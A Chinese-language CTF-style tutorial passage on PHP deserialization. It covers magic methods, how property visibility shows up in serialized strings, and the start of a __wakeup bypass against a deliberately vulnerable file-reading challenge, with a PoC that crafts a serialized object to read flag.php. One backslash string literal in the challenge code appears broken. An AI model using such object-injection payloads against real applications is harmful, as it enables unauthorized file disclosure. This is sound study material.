- 普通的魔法方法
- public,private,protected属性序列化后的不同
- 绕过wakeup
- session反序列化
- phar反序列化
1.普通的魔法方法
__construct()
创建一个新的对象的时候会调用,不过unserialize()时不会被调用
__destruct()
对象销毁的时候被调用
__sleep()
函数serialize()调用的时候首先检查有没有这个函数,如果有则调用。这个函数的作用是删减需要进行序列化操作的的成员属性。
<?php
class test{
public $a="123";
public $b="456";
public function __sleep(){
return ['b'];
}
}
$test=new test();
echo serialize($test);
?>
//输出:O:4:"test":1:{s:1:"b";s:3:"456";}
//__sleep()只返回了成员$b,所以相当于删除了$a,$a不会进行序列互操作
__wakeup()
函数unserialize()被调用时检查有没有这个函数,有的话先执行。可以用来修改某个变量的值。
<?php
class test{
public $a="123";
public function __wakeup(){
$this->a="aaaaaaaaaaa";
}
}
$test=new test();
var_dump(unserialize('O:4:"test":1:{s:1:"a";s:3:"bbb";}'));
?>
//输出:object(test)#2 (1) { ["a"]=> string(11) "aaaaaaaaaaa" }
//因为__wakeup()修改了$a的值
__toString
一个对象值不能直接echo 输出的,可以用var_dump()。但是如果定义好__toString()的方法,就可以直接echo了
<?php
class test{
public $a="aaa";
public $b="bbb";
public $c="ccc";
public function __toString(){
return $this->a."-".$this->b."-".$this->c;
}
}
$test=new test();
echo $test;
?>
//输出 aaa-bbb-ccc
2.public,private,protected属性序列化后的不同
<?php
class test{
public $a="aaa";
private $b="bbb";
protected $c="ccc";
}
$test=new test();
echo serialize($test);
?>
浏览器上直接输出的是: O:4:"test":3:{s:1:"a";s:3:"aaa";s:7:"testb";s:3:"bbb";s:4:"*c";s:3:"ccc";}
如果查看源代码,看来应该存在不可打印字符
输出一下十六进制
这里的十六进制00是字符串和十六进制相互转化的,注意和十进制转换区分开
public的序列化看起来是最正常的
private的序列化: 0test(test是类名) 0b(b是成员名)
protected的序列化: 0* 0c(c是成员名)
这就是提示在反序列化的时候要注意 0
3.绕过wakeup
直接拿例题来说
<?php
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='index.php';
}
public function __toString(){
return '' ;
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=base64_decode($_GET['file']);
echo unserialize($file);
}
?> #<!--key in flag.php-->
首先明确我们要读取flag.php
问题出在倒数三四行,接收get传递的参数先base64解码,然后进行反序列化
先来看看这个__destruct()方法,为了题目的靶机目录安全用strchr函数限制了 /,不让你任意读取文件,不过没事,我们只需要读flag.php即可
现在我们们构造poc,把$file属性的index.php改为flag.php
poc
<?php
class SoFun{
protected $file='flag.php';
}
$test=new SoFun();
$str=serialize($test);
echo $str;
echo "<br>";
echo base64_encode($str);
?>
//输出
//O:5:"SoFun":1:{s:7:"